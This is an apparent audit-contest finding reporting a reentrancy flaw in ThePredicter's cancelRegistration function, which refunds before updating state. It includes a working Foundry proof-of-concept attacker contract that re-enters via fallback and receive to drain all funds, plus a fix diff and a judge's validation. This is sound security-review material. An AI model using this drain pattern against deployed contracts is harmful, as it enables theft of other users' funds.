First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Possiblity of reentrancy in the function `ThePredicter::cancelRegistration`

elprofesor

Summary

The function ThePredicter::cancelRegistration is intended to allow a user who has attempted to register, but has not yet been approved by the Organizer, to cancel their registration request and receive a refund of the entranceFee paid during the registration request. However, there is an issue in the mentioned function because the CEI (Check-Effects-Interactions) rule is not followed, which has opened up the possibility for a known reentrancy attack. Specifically, during the refund of the entranceFee, the funds are first sent to the user, and only then is the state updated. Before this update, when the funds are refunded, the user's receive or fallback function is triggered, which a malicious user can exploit to call the same function again with the protocol state unchanged.

Impact

This type of attack will result in the malicious user draining funds that belonged to other users and the protocol.

PoC

Add the following code to the test/ThePredicter.Test.sol file:

function testReentrance() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
ReentrancyAttacker attacker = new ReentrancyAttacker(address(thePredicter), address(scoreBoard));
vm.deal(address(attacker), 1 ether);
uint256 startingAttackerBalance = address(attacker).balance;
uint256 startingContractBalance = address(thePredicter).balance;
​
attacker.attack();
​
uint256 endingAttackerBalance = address(attacker).balance;
uint256 endingContractBalance = address(thePredicter).balance;
assertEq(endingAttackerBalance, startingAttackerBalance + startingContractBalance);
assertEq(endingContractBalance, 0);
console.log(startingAttackerBalance);
console.log(endingAttackerBalance);
console.log(startingContractBalance);
console.log(endingContractBalance);
}
​
contract ReentrancyAttacker {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
​
constructor(address _thePredicter, address _scoreBoard) {
thePredicter = ThePredicter(_thePredicter);
scoreBoard = ScoreBoard(_scoreBoard);
}
​
function attack() external payable {
thePredicter.register{value: 0.04 ether}();
thePredicter.cancelRegistration();
}
​
fallback() external payable {
if(address(thePredicter).balance >= 0.04 ether){
thePredicter.cancelRegistration();
}
}
receive() external payable {
if(address(thePredicter).balance >= 0.04 ether){
thePredicter.cancelRegistration();
}
}
}
​

Recommendations

Follow CEI (Check, Effect, Interaction) rule!

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
​
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.